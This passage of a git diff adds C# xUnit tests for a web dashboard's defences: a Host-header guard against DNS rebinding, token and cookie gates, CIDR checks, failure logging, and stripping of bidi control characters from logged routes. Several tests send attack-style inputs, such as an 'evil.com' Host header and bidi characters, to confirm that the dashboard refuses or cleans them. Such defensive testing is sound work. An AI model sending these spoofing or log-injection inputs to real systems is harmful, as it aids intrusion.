+    public void RouteOf_NamesTheServerTheReadAskedFor()
+    {
+        var context = new DefaultHttpContext();
+        context.Request.Path = "/api/read/get_server_summary";
+        context.Request.QueryString = new QueryString("?server=example-sql-01&hours=24");
+        Assert.Equal("/api/read/get_server_summary (server example-sql-01)", DarlingWebFailureLog.RouteOf(context.Request));
+
+        context.Request.QueryString = new QueryString("?hours=24");
+        Assert.Equal("/api/read/get_server_summary", DarlingWebFailureLog.RouteOf(context.Request));
+    }
+
     [Fact]
     public async Task GenericException_Returns500_WithNoExceptionText_AndWritesOneError()
     {
@@ -470,9 +545,9 @@ public void ExceptionBackstop_IsRegistered_AheadOfMapAll_SoEveryApiRouteIsCovere
         var code = CSharpSourceWalker.StripCommentsAndStrings(
             RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs"));
 
-        var handler = code.IndexOf("DarlingWebFailureLog.Report(_logger", StringComparison.Ordinal);
+        var handler = code.IndexOf("app.UseMiddleware<DarlingWebFailureObserver>(", StringComparison.Ordinal);
         Assert.True(handler >= 0,
-            "ConfigurePipeline no longer calls DarlingWebFailureLog.Report; this pin is reading nothing.");
+            "ConfigurePipeline no longer registers DarlingWebFailureObserver; this pin is reading nothing.");
 
         var mapAll = code.IndexOf("DarlingWebEndpoints.MapAll(app", StringComparison.Ordinal);
         Assert.True(mapAll >= 0,
@@ -484,4 +559,144 @@ public void ExceptionBackstop_IsRegistered_AheadOfMapAll_SoEveryApiRouteIsCovere
           + "it wraps every /api/* route MapAll adds. It is currently registered AFTER, which leaves those "
           + "routes reaching ASP.NET Core's own error handling again — the empty, untraced 500 #4276 reports.");
     }
+
+    /// <summary>W12: the observer is the FIRST middleware, ahead of response compression and every gate, so a throw there is logged.
+    /// It is registered as a class, so the Host guard stays the first <c>app.Use</c> lambda (HostHeaderGuardTests).</summary>
+    [Fact]
+    public void TheFailureObserver_IsRegisteredBeforeCompressionAndEveryGate()
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs"));
+        var observer = code.IndexOf("app.UseMiddleware<DarlingWebFailureObserver>(", StringComparison.Ordinal);
+        var compression = code.IndexOf("app.UseResponseCompression()", StringComparison.Ordinal);
+        var firstUse = code.IndexOf("app.Use(", StringComparison.Ordinal);
+        Assert.True(observer >= 0 && compression > observer && firstUse > observer,
+            "the failure observer must be registered ahead of response compression and of every app.Use gate");
+    }
+
+    /// <summary>W12: a throw in a middleware registered AFTER the observer and BEFORE where the old backstop sat (a gate) writes
+    /// exactly one line and answers 500. The old backstop never saw it.</summary>
+    [Fact]
+    public async Task AThrowFromAGateBehindTheObserver_WritesOneErrorLine_AndAnswers500()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var capturing = new CapturingLogger<DarlingWebHostService>();
+        app.UseMiddleware<DarlingWebFailureObserver>(capturing, new DarlingHttpRefusalLog());
+        app.Use((HttpContext _, RequestDelegate _) => throw new InvalidOperationException("gate fault"));
+        await app.StartAsync();
+        using var server = app.GetTestServer();
+
+        var ctx = await Send(server, "/api/anything?server=example-sql-01");
+        await WaitForLinesAsync(capturing.Inner, 1);
+
+        Assert.Equal(StatusCodes.Status500InternalServerError, ctx.Response.StatusCode);
+        Assert.Equal(1, capturing.Inner.CountAtLevel(LogLevel.Error));
+        Assert.Single(capturing.Inner.Lines);
+        Assert.Contains("/api/anything", capturing.Inner.Joined, StringComparison.Ordinal);
+        /* The line is the catch arm's own (it carries the exception type), not the post-check's "no cause of its own" line; and it
+           is the only one, so a Report plus a ReportUnlogged for one request would fail here. */
+        Assert.Contains(nameof(InvalidOperationException), capturing.Inner.Joined, StringComparison.Ordinal);
+        Assert.DoesNotContain("unreported", capturing.Inner.Joined, StringComparison.Ordinal);
+    }
+
+    /// <summary>Round 2, L1: the observer sits ahead of the Host guard and the auth gate, so a throw before the request has passed
+    /// the auth gate may belong to a caller nobody authenticated. Its line goes through the refusal log's throttle: the same
+    /// source throwing five times logs once. The answer is a 500 each time. After the gate (a request that passed auth), every
+    /// failure still writes its line.</summary>
+    [Fact]
+    public async Task APreAuthThrowRepeated_LogsWithinTheThrottle_WhileAPostAuthThrowLogsEveryTime()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var capturing = new CapturingLogger<DarlingWebHostService>();
+        app.UseMiddleware<DarlingWebFailureObserver>(capturing, new DarlingHttpRefusalLog());
+        app.Use((HttpContext context, RequestDelegate next) =>
+        {
+            if (context.Request.Path.StartsWithSegments("/pre"))
+            {
+                throw new InvalidOperationException("pre-auth fault");
+            }
+
+            DarlingWebFailureLog.NotePassedAuth();
+            throw new InvalidOperationException("post-auth fault");
+        });
+        await app.StartAsync();
+        using var server = app.GetTestServer();
+
+        for (var i = 0; i < 5; i++)
+        {
+            var ctx = await Send(server, "/pre/anything");
+            Assert.Equal(StatusCodes.Status500InternalServerError, ctx.Response.StatusCode);
+        }
+
+        await WaitForLinesAsync(capturing.Inner, 1);
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.Equal(1, capturing.Inner.CountAtLevel(LogLevel.Error));
+        Assert.Single(capturing.Inner.Lines);
+
+        for (var i = 0; i < 3; i++)
+        {
+            await Send(server, "/api/anything");
+        }
+
+        await WaitForLinesAsync(capturing.Inner, 4);
+        await Task.Delay(100, TestContext.Current.CancellationToken);
+        Assert.Equal(4, capturing.Inner.CountAtLevel(LogLevel.Error));
+        Assert.Equal(4, capturing.Inner.Lines.Count);
+    }
+
+    /// <summary>S5: the line names the server as the registry does when the read resolved one, and otherwise passes the request
+    /// text through the bundle aliaser (an address in the text does not survive).</summary>
+    [Fact]
+    public async Task TheRouteNamesTheServerAsTheRegistryDoes_AndAliasesTheRequestTextOtherwise()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var capturing = new CapturingLogger<DarlingWebHostService>();
+        app.UseMiddleware<DarlingWebFailureObserver>(capturing, new DarlingHttpRefusalLog());
+        app.MapGet("/api/__test/resolved", () =>
+        {
+            DarlingWebFailureLog.NoteResolvedServer("example-sql-01");
+            return Results.Json(new { error = "x" }, statusCode: StatusCodes.Status503ServiceUnavailable);
+        });
+        app.MapGet("/api/__test/unresolved", () => Results.Json(new { error = "x" }, statusCode: StatusCodes.Status503ServiceUnavailable));
+        await app.StartAsync();
+        using var server = app.GetTestServer();
+
+        await Send(server, "/api/__test/resolved?server=exam");
+        await WaitForLinesAsync(capturing.Inner, 1);
+        var resolvedLine = string.Join("\n", capturing.Inner.Lines);
+        Assert.Contains("(server example-sql-01)", resolvedLine, StringComparison.Ordinal);
+        Assert.DoesNotContain("exam)", resolvedLine, StringComparison.Ordinal);
+
+        await Send(server, "/api/__test/unresolved?server=203.0.113.77");
+        await WaitForLinesAsync(capturing.Inner, 2);
+        var all = string.Join("\n", capturing.Inner.Lines);
+        Assert.DoesNotContain("203.0.113.77", all, StringComparison.Ordinal);
+        Assert.Contains("(server ip-1)", all, StringComparison.Ordinal);
+    }
+
+    /// <summary>The observer writes its line just after the response is handed back, so a test waits for it.</summary>
+    private static async Task WaitForLinesAsync(CapturingTestLogger logger, int count)
+    {
+        for (var wait = 0; wait < 100 && logger.Lines.Count < count; wait++)
+        {
+            await Task.Delay(20, TestContext.Current.CancellationToken);
+        }
+    }
+
+    /// <summary>S5: Unicode format characters (the bidi controls included) are stripped from a logged route like control characters.</summary>
+    [Fact]
+    public void Sanitize_StripsUnicodeFormatCharacters()
+    {
+        var cleaned = DarlingHttpRefusalLog.Sanitize("/api/x (server a\u202Eb\u200Bc\u2066d)", 256);
+        Assert.Equal("/api/x (server a.b.c.d)", cleaned);
+    }
 }
diff --git a/Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs b/Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs
index 2b96276a08..5f1d9c9a43 100644
--- a/Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingWebHostGateLiveTests.cs
@@ -21,7 +21,9 @@
 using Npgsql;
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Notifications;
 using Xunit;
 
 namespace Darling.Tests;
@@ -46,6 +48,19 @@ public sealed class DarlingWebHostGateLiveTests
     private static readonly IPAddress InCidrRemote = IPAddress.Parse("192.168.1.50");
     private static readonly IPAddress OutOfCidrRemote = IPAddress.Parse("10.0.0.9");
 
+    /// <summary>Adapts <see cref="CapturingTestLogger"/> (a plain <see cref="ILogger"/>) to the generic
+    /// <see cref="ILogger{TCategoryName}"/> <see cref="DarlingWebHostService"/>'s constructor requires.</summary>
+    private sealed class CapturingHostLogger(CapturingTestLogger inner) : ILogger<DarlingWebHostService>
+    {
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => inner.BeginScope(state);
+
+        public bool IsEnabled(LogLevel logLevel) => inner.IsEnabled(logLevel);
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+            => inner.Log(logLevel, eventId, state, exception, formatter);
+    }
+
     /// <summary>
     /// Builds a <see cref="TestServer"/> running the REAL <c>DarlingWebHostService.ConfigurePipeline</c> —
     /// the exact method the production <c>TryStartServerAsync</c> calls right after <c>builder.Build()</c>,
@@ -53,7 +68,9 @@ public sealed class DarlingWebHostGateLiveTests
     /// the transport (TestServer instead of Kestrel sockets) and the store pool (a data source that is never
     /// opened, because none of these gates touch Postgres).
     /// </summary>
-    private static async Task<TestServer> BuildServer(bool networkMode, string? publicBaseUrlHost = null, DarlingWebOidcClient? oidcClient = null)
+    private static async Task<TestServer> BuildServer(
+        bool networkMode, string? publicBaseUrlHost = null, DarlingWebOidcClient? oidcClient = null,
+        bool requireTokenWhenLoopbackOnly = false, CapturingTestLogger? hostLogger = null, string accessToken = Token)
     {
         var builder = WebApplication.CreateBuilder();
         builder.WebHost.UseTestServer();
@@ -70,8 +87,9 @@ private static async Task<TestServer> BuildServer(bool networkMode, string? publ
 
         var app = builder.Build();
 
+        // hostLogger is the host's own logger, the one the gates write their refusal lines to; the Host-refusal line test reads it.
         var host = new DarlingWebHostService(
-            NullLogger<DarlingWebHostService>.Instance,
+            hostLogger is null ? NullLogger<DarlingWebHostService>.Instance : new CapturingHostLogger(hostLogger),
             new WebRuntimeState(),
             new CollectorRuntimeState(),
             new WebTlsCertificateState(),
@@ -81,11 +99,19 @@ private static async Task<TestServer> BuildServer(bool networkMode, string? publ
             app,
             postgres,
             networkMode: networkMode,
-            networkListenIp: networkMode ? IPAddress.Parse(ListenIp) : null,
+            // #5288: the Host guard's listen address is decided exactly as TryStartServerAsync decides it, through
+            // ResolveHostGuardListenIp from the FINAL mode. The host parses the configured address before any degrade,
+            // so a start that degraded out of network mode (requireTokenWhenLoopbackOnly) still has it in hand and the
+            // resolver is what drops it; a start that never had a network block has none to hand over.
+            networkListenIp: DarlingMcpHostService.ResolveHostGuardListenIp(
+                networkMode, networkMode || requireTokenWhenLoopbackOnly ? IPAddress.Parse(ListenIp) : null),
             allowedCidr: IPNetwork.Parse(AllowedCidr),
-            accessToken: Token,
+            accessToken: accessToken,
             oidcClient: oidcClient,
-            publicBaseUrlHost: publicBaseUrlHost);
+            publicBaseUrlHost: publicBaseUrlHost,
+            // #5288: true only for a start that network mode degraded out of (TLS refused, token resolved); the
+            // never-network loopback-only server in the tests below leaves it false, exactly as the host does.
+            requireTokenWhenLoopbackOnly: requireTokenWhenLoopbackOnly);
 
         await app.StartAsync();
         return app.GetTestServer();
@@ -210,6 +236,26 @@ public async Task NetworkMode_ForeignHost_IsRefused()
         Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
     }
 
+    /// <summary>#5288: the line the Host guard logs for a refused name tells the operator which settings decide the
+    /// names it admits: the loopback names, the listen address (<c>web.network.listen</c>) and <c>web.publicBaseUrl</c>'s
+    /// host. The MCP listener's line names its own settings in the same shape
+    /// (<see cref="DarlingMcpHostGateLiveTests"/>). Read from the host's own logger through the real pipeline.</summary>
+    [Fact]
+    public async Task NetworkMode_ForeignHost_TheRefusalLogLine_NamesTheSettingsThatDecideTheAdmittedNames()
+    {
+        var hostLogger = new CapturingTestLogger();
+        using var server = await BuildServer(networkMode: true, publicBaseUrlHost: "monitor.example.com", hostLogger: hostLogger);
+        var ctx = await Send(server, "/", "evil.com", InCidrRemote, token: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+
+        var line = Assert.Single(hostLogger.Lines);
+        Assert.StartsWith("Warning: Web dashboard ", line, StringComparison.Ordinal);
+        Assert.Contains("the Host header 'evil.com' is not an address this endpoint binds", line, StringComparison.Ordinal);
+        Assert.Contains("web.network.listen when LAN-exposed", line, StringComparison.Ordinal);
+        Assert.Contains("web.publicBaseUrl's host", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("monitor.example.com", line, StringComparison.Ordinal);
+    }
+
     /// <summary>#4220: web.publicBaseUrl's host is admitted as one extra allowed Host value — a DNS name
     /// darling.sample.json suggests but that, before this, the guard refused unconditionally (it only ever
     /// compared against networkListenIp or the loopback names).</summary>
@@ -233,6 +279,67 @@ public async Task NetworkMode_AnyOtherHost_StillRefused_EvenWithAPublicBaseUrlHo
         Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
     }
 
+    /// <summary>#5288 (#4220): an internationalized <c>web.publicBaseUrl</c> host is admitted for the Host a
+    /// browser sends. A browser always sends the punycode (<c>xn--</c>) form of the name, ASP.NET Core hands the
+    /// guard the DECODED form of that header (<c>b&#252;cher.example</c>), and <c>TriageLink.TryGetHost</c> returns
+    /// <c>Uri.Host</c>, which keeps whichever spelling the operator wrote in the URL. Both spellings of the URL
+    /// must therefore admit the one Host the browser sends, with or without a port. The URL goes through
+    /// <c>TriageLink.TryGetHost</c> here exactly as <c>TryStartServerAsync</c> does before it hands the host to
+    /// <c>ConfigurePipeline</c>.</summary>
+    [Theory]
+    [InlineData("https://xn--bcher-kva.example/", "xn--bcher-kva.example")]
+    [InlineData("https://b\u00FCcher.example/", "xn--bcher-kva.example")]
+    [InlineData("https://xn--bcher-kva.example:5153/", "xn--bcher-kva.example:5153")]
+    [InlineData("https://b\u00FCcher.example:5153/", "xn--bcher-kva.example:5153")]
+    public async Task NetworkMode_IdnPublicBaseUrlHost_IsAdmitted_ForThePunycodeHostABrowserSends(string publicBaseUrl, string hostHeader)
+    {
+        var publicBaseUrlHost = TriageLink.TryGetHost(publicBaseUrl);
+        Assert.NotNull(publicBaseUrlHost);
+
+        using var server = await BuildServer(networkMode: true, publicBaseUrlHost: publicBaseUrlHost);
+        var ctx = await Send(server, "/", hostHeader, InCidrRemote, token: Token);
+
+        Assert.True(
+            ctx.Response.StatusCode != StatusCodes.Status400BadRequest,
+            $"web.publicBaseUrl '{publicBaseUrl}' (host '{publicBaseUrlHost}') refused its own Host '{hostHeader}' with {ctx.Response.StatusCode}");
+    }
+
+    /// <summary>The IDN admission names exactly ONE host: another punycode name (<c>m&#252;nchen.example</c>), a
+    /// plain foreign name and the name with its non-ASCII letter dropped all still get 400.</summary>
+    [Theory]
+    [InlineData("xn--mnchen-3ya.example")]
+    [InlineData("evil.com")]
+    [InlineData("bcher.example")]
+    public async Task NetworkMode_IdnPublicBaseUrlHost_StillRefusesEveryOtherHost(string hostHeader)
+    {
+        var publicBaseUrlHost = TriageLink.TryGetHost("https://xn--bcher-kva.example/");
+        using var server = await BuildServer(networkMode: true, publicBaseUrlHost: publicBaseUrlHost);
+        var ctx = await Send(server, "/", hostHeader, InCidrRemote, token: Token);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+    }
+
+    /// <summary>#5288: a malformed punycode label in <c>web.publicBaseUrl</c> (<c>xn--a</c> decodes to nothing)
+    /// must not fail start-up. The conversion that puts the name in the form the guard compares falls back to
+    /// the raw value, so the pipeline still builds, still refuses a foreign Host and still admits a loopback
+    /// one.</summary>
+    [Theory]
+    [InlineData("https://xn--a/")]
+    [InlineData("https://xn--bcher-kva-.example/")]
+    public async Task NetworkMode_MalformedPunycodePublicBaseUrlHost_DoesNotFailStartUp_AndAdmitsNothingExtra(string publicBaseUrl)
+    {
+        var publicBaseUrlHost = TriageLink.TryGetHost(publicBaseUrl);
+        Assert.NotNull(publicBaseUrlHost);
+
+        using var server = await BuildServer(networkMode: true, publicBaseUrlHost: publicBaseUrlHost);
+
+        var foreign = await Send(server, "/", "evil.com", InCidrRemote, token: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, foreign.Response.StatusCode);
+
+        var loopback = await Send(server, "/", "localhost", InCidrRemote, token: Token);
+        Assert.NotEqual(StatusCodes.Status400BadRequest, loopback.Response.StatusCode);
+    }
+
     /// <summary>The same rebinding guard runs in LOOPBACK mode too (#1576 fixed a loopback-only gap): a
     /// foreign Host is refused even though loopback registers no CIDR/token middleware at all.</summary>
     [Fact]
@@ -244,6 +351,240 @@ public async Task LoopbackMode_ForeignHost_IsRefused()
         Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
     }
 
+    /// <summary>
+    /// #5288: network mode configured, then degraded to loopback-only because the TLS certificate was refused, token
+    /// resolved. The loopback-only server keeps the token-to-cookie gate (the host passes
+    /// <c>requireTokenWhenLoopbackOnly</c> for exactly that start): no credential on an <c>/api/*</c> path gets 401
+    /// and on a page route gets the login form, the right token is exchanged for a session cookie, and that cookie
+    /// then gets past the gate. Every client presented the token before the certificate lapsed, so nothing that
+    /// worked stops working.
+    /// </summary>
+    [Fact]
+    public async Task TlsRefusal_DegradedLoopbackServer_StillRequiresTheToken()
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+
+        var (api, apiBody) = await SendWithBody(server, "/api/fleet", "localhost", IPAddress.Loopback);
+        Assert.Equal(StatusCodes.Status401Unauthorized, api.Response.StatusCode);
+        Assert.Contains("\"error\"", apiBody, StringComparison.Ordinal);
+
+        var page = await Send(server, "/", "localhost", IPAddress.Loopback);
+        Assert.Equal(StatusCodes.Status200OK, page.Response.StatusCode);
+        Assert.Equal("text/html; charset=utf-8", page.Response.ContentType);
+
+        var wrong = await Send(server, "/api/fleet", "localhost", IPAddress.Loopback, token: "not-the-token");
+        Assert.Equal(StatusCodes.Status401Unauthorized, wrong.Response.StatusCode);
+
+        var exchange = await Send(server, "/", "localhost", IPAddress.Loopback, token: Token);
+        Assert.Equal(StatusCodes.Status302Found, exchange.Response.StatusCode);
+        var setCookie = Assert.Single(exchange.Response.Headers.SetCookie) ?? string.Empty;
+        var cookie = setCookie[..setCookie.IndexOf(';')];
+
+        // A path nothing maps answers 404 once the gate lets the request through; without the cookie it is the login form.
+        var withCookie = await Send(server, "/some/unmapped/path", "localhost", IPAddress.Loopback, cookie: cookie);
+        Assert.Equal(StatusCodes.Status404NotFound, withCookie.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// A token the operator configured gates a loopback-only dashboard too. The production start resolves it with
+    /// <see cref="DarlingWebHostService.ResolveLoopbackOnlyToken"/> and hands the answer to the pipeline as the access
+    /// token with the loopback-only token gate on; this builds the pipeline from the same answer: an API call with no
+    /// token is 401, a wrong token is 401, the right token is exchanged for a session cookie and the cookie passes.
+    /// </summary>
+    [Fact]
+    public async Task LoopbackOnly_ConfiguredToken_IsRequired_RightTokenPasses()
+    {
+        var resolved = DarlingWebHostService.ResolveLoopbackOnlyToken(
+            new WebNetworkConfig { Token = Token }, NullLogger.Instance);
+        Assert.False(resolved.Refuse);
+        Assert.Equal(Token, resolved.Token);
+
+        using var server = await BuildServer(
+            networkMode: false, requireTokenWhenLoopbackOnly: resolved.Token.Length > 0, accessToken: resolved.Token);
+
+        var (api, apiBody) = await SendWithBody(server, "/api/fleet", "localhost", IPAddress.Loopback);
+        Assert.Equal(StatusCodes.Status401Unauthorized, api.Response.StatusCode);
+        Assert.Contains("\"error\"", apiBody, StringComparison.Ordinal);
+
+        var wrong = await Send(server, "/api/fleet", "localhost", IPAddress.Loopback, token: "not-the-token");
+        Assert.Equal(StatusCodes.Status401Unauthorized, wrong.Response.StatusCode);
+
+        var exchange = await Send(server, "/", "localhost", IPAddress.Loopback, token: Token);
+        Assert.Equal(StatusCodes.Status302Found, exchange.Response.StatusCode);
+        var setCookie = Assert.Single(exchange.Response.Headers.SetCookie) ?? string.Empty;
+        var cookie = setCookie[..setCookie.IndexOf(';')];
+
+        var withCookie = await Send(server, "/some/unmapped/path", "localhost", IPAddress.Loopback, cookie: cookie);
+        Assert.Equal(StatusCodes.Status404NotFound, withCookie.Response.StatusCode);
+    }
+
+    /// <summary>No token configured, loopback-only: the dashboard is open to local browsers exactly as before.</summary>
+    [Fact]
+    public async Task LoopbackOnly_NoTokenConfigured_StaysOpen()
+    {
+        var resolved = DarlingWebHostService.ResolveLoopbackOnlyToken(
+            new WebNetworkConfig { Token = "   " }, NullLogger.Instance);
+        Assert.False(resolved.Refuse);
+        Assert.Equal("", resolved.Token);
+        Assert.Equal("", DarlingWebHostService.ResolveLoopbackOnlyToken(null, NullLogger.Instance).Token);
+
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: resolved.Token.Length > 0);
+        var ctx = await Send(server, "/some/unmapped/path", "localhost", IPAddress.Loopback);
+
+        Assert.Equal(StatusCodes.Status404NotFound, ctx.Response.StatusCode);
+    }
+
+    /// <summary>A configured token that cannot be decrypted stops the start (Critical line, no token in it) instead of
+    /// serving the loopback dashboard open.</summary>
+    [Fact]
+    public void LoopbackOnly_ConfiguredTokenThatCannotBeUsed_RefusesTheStart_WithOneCriticalLine()
+    {
+        var log = new CapturingTestLogger();
+        var resolved = DarlingWebHostService.ResolveLoopbackOnlyToken(
+            new WebNetworkConfig { EncryptedToken = "not-a-protected-blob" }, new CapturingHostLogger(log));
+
+        Assert.True(resolved.Refuse);
+        Assert.Equal("", resolved.Token);
+        Assert.Contains(log.Lines, l => l.Contains("Web dashboard token", StringComparison.Ordinal)
+            && l.Contains("refusing to serve", StringComparison.Ordinal));
+        Assert.DoesNotContain(log.Lines, l => l.Contains("not-a-protected-blob", StringComparison.Ordinal));
+    }
+
+    private static int FreeTcpPort()
+    {
+        var listener = new System.Net.Sockets.TcpListener(IPAddress.Loopback, 0);
+        listener.Start();
+        try
+        {
+            return ((IPEndPoint)listener.LocalEndpoint).Port;
+        }
+        finally
+        {
+            listener.Stop();
+        }
+    }
+
+    /// <summary>
+    /// Network mode with a token that is configured but cannot be used (a blob this host cannot decrypt, a variable
+    /// that is not set) does not start the dashboard at all, exactly as a loopback-only start does: the real start
+    /// returns false, logs one Critical line, and nothing answers on the loopback port.
+    /// </summary>
+    [Theory]
+    [InlineData("\"encryptedToken\": \"not-a-protected-blob\"")]
+    [InlineData("\"token\": \"env:DARLING_TEST_WEB_TOKEN_THAT_IS_NOT_SET\"")]
+    public async Task NetworkMode_ConfiguredTokenThatCannotBeUsed_DoesNotStart_AndNothingAnswersOnTheLoopbackPort(string tokenJson)
+    {
+        var port = FreeTcpPort();
+        var config = DarlingConfig.Parse(
+            ("{ 'postgres': { 'managed': true }, 'servers': [ { 'host': 'SQL2022' } ], 'web': { 'enabled': true, 'port': "
+            + port + ", 'network': { 'listen': '" + ListenIp + "', 'allowFrom': '" + AllowedCidr + "', " + tokenJson + " } } }")
+            .Replace('\'', '"'));
+        var log = new CapturingTestLogger();
+        var host = new DarlingWebHostService(
+            new CapturingHostLogger(log), new WebRuntimeState(), new CollectorRuntimeState(), new WebTlsCertificateState(), new BaselineCache());
+        var toggle = new DarlingHostBinding.EndpointToggle(true, port, DarlingHostBinding.EndpointToggleOrigin.File, false, false);
+        var tryStart = typeof(DarlingWebHostService).GetMethod(
+            "TryStartServerAsync", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic)!;
+        var started = true;
+        var answered = false;
+        try
+        {
+            started = await (Task<bool>)tryStart.Invoke(host, [config, toggle, System.Threading.CancellationToken.None])!;
+            try
+            {
+                using var client = new System.Net.Sockets.TcpClient();
+                using var cts = new System.Threading.CancellationTokenSource(TimeSpan.FromSeconds(5));
+                await client.ConnectAsync(IPAddress.Loopback, port, cts.Token);
+                answered = true;
+            }
+            catch (System.Net.Sockets.SocketException)
+            {
+            }
+        }
+        finally
+        {
+            await host.DisposeFailedStartAsync();
+        }
+
+        Assert.False(started, "a configured token that cannot be used must stop the start in network mode");
+        Assert.False(answered, "nothing may answer on the loopback port");
+        Assert.Contains(log.Lines, l => l.Contains("Web dashboard token", StringComparison.Ordinal)
+            && l.Contains("web dashboard not started", StringComparison.Ordinal));
+        Assert.DoesNotContain(log.Lines, l => l.Contains("not-a-protected-blob", StringComparison.Ordinal));
+    }
+
+    /// <summary>The start itself calls the resolver on a loopback-only bind and stops on a refusal, so the pipeline
+    /// tests above describe what production serves.</summary>
+    [Fact]
+    public void TryStartServerAsync_ResolvesTheLoopbackOnlyToken_AndStopsOnARefusal()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebHostService.cs");
+        var start = source.IndexOf("private async Task<bool> TryStartServerAsync(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var body = source[start..];
+        var call = body.IndexOf("ResolveLoopbackOnlyToken(network, _logger)", StringComparison.Ordinal);
+        Assert.True(call > 0, "TryStartServerAsync must resolve a configured token on a loopback-only start");
+        var tail = body[call..];
+        Assert.Contains("if (loopbackToken.Refuse)", tail[..400], StringComparison.Ordinal);
+        Assert.Contains("accessToken = loopbackToken.Token;", tail[..700], StringComparison.Ordinal);
+    }
+
+    /// <summary>The Host guard still runs first on the token-keeping loopback-only server, so a foreign Host is 400
+    /// even with the right token.</summary>
+    [Fact]
+    public async Task TlsRefusal_DegradedLoopbackServer_ForeignHostIsStill400()
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+        var ctx = await Send(server, "/", "evil.com", IPAddress.Loopback, token: Token);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, ctx.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288: the degraded loopback-only server listens on loopback only, so its Host guard admits loopback names
+    /// only. A request that names the configured listen address is answered 400 even with the right token, because
+    /// nothing is listening there any more, while a loopback name with the same token is exchanged for a session
+    /// cookie (past every gate). The server is built through <c>ResolveHostGuardListenIp</c> with the final mode, the
+    /// way the host builds it.
+    /// </summary>
+    [Fact]
+    public async Task TlsRefusal_DegradedLoopbackServer_AdmitsLoopbackNamesOnly_NotTheListenAddress()
+    {
+        using var server = await BuildServer(networkMode: false, requireTokenWhenLoopbackOnly: true);
+
+        var named = await Send(server, "/", ListenIp, IPAddress.Loopback, token: Token);
+        Assert.Equal(StatusCodes.Status400BadRequest, named.Response.StatusCode);
+
+        var loopbackName = await Send(server, "/", "localhost", IPAddress.Loopback, token: Token);
+        Assert.Equal(StatusCodes.Status302Found, loopbackName.Response.StatusCode);
+    }
+
+    /// <summary>
+    /// #5288: the web checks the CIDR before it looks at any credential, and keeps doing so: an address outside
+    /// <c>allowFrom</c> is answered 403 whatever it sends (no token, a wrong token, the right token), on a page
+    /// route and on an <c>/api/*</c> path alike. An in-list client with the wrong token is not refused with a 403.
+    /// </summary>
+    [Theory]
+    [InlineData("/", null)]
+    [InlineData("/", "not-the-token")]
+    [InlineData("/", Token)]
+    [InlineData("/api/fleet", null)]
+    [InlineData("/api/fleet", "not-the-token")]
+    [InlineData("/api/fleet", Token)]
+    public async Task OffListRemote_RightOrWrongToken_Both403(string path, string? token)
+    {
+        using var server = await BuildServer(networkMode: true);
+
+        var offList = await Send(server, path, ListenIp, IPAddress.Parse("203.0.113.50"), token: token);
+        Assert.Equal(StatusCodes.Status403Forbidden, offList.Response.StatusCode);
+
+        if (token == "not-the-token")
+        {
+            var inList = await Send(server, path, ListenIp, InCidrRemote, token: token);
+            Assert.NotEqual(StatusCodes.Status403Forbidden, inList.Response.StatusCode);
+        }
+    }
+
     /// <summary>Loopback mode's own posture: no token middleware is registered at all, so a loopback Host
     /// with no token reaches past the gates (a 404 from the endpoint mapping / static files proves it got
     /// through — no gate short-circuited with a 400/403, and there is no login page in this mode).</summary>
@@ -278,6 +619,19 @@ public async Task NetworkMode_NoToken_ApiPath_Returns401Json()
         Assert.DoesNotContain("<html", body, StringComparison.OrdinalIgnoreCase);
     }
 
+    /// <summary>#5239 L2: the Manage Servers route is refused for an anonymous network-mode caller through the real
+    /// pipeline, the same as <c>/api/fleet</c>.</summary>
+    [Fact]
+    public async Task NetworkMode_NoToken_AdminServersPath_Returns401Json()
+    {
+        using var server = await BuildServer(networkMode: true);
+        var (ctx, body) = await SendWithBody(server, "/api/admin/servers", ListenIp, InCidrRemote);
+
+        Assert.Equal(StatusCodes.Status401Unauthorized, ctx.Response.StatusCode);
+        Assert.Contains("\"error\"", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("<html", body, StringComparison.OrdinalIgnoreCase);
+    }
+
     /// <summary>Proves the split is per-request, not per-mode: on the exact same server, the exact same
     /// unauthenticated caller gets 401 for the API path and the 200 form for the page path.</summary>
     [Fact]
@@ -326,4 +680,108 @@ public async Task NetworkMode_OidcConfigured_NoCredential_ApiPath_Returns401Json
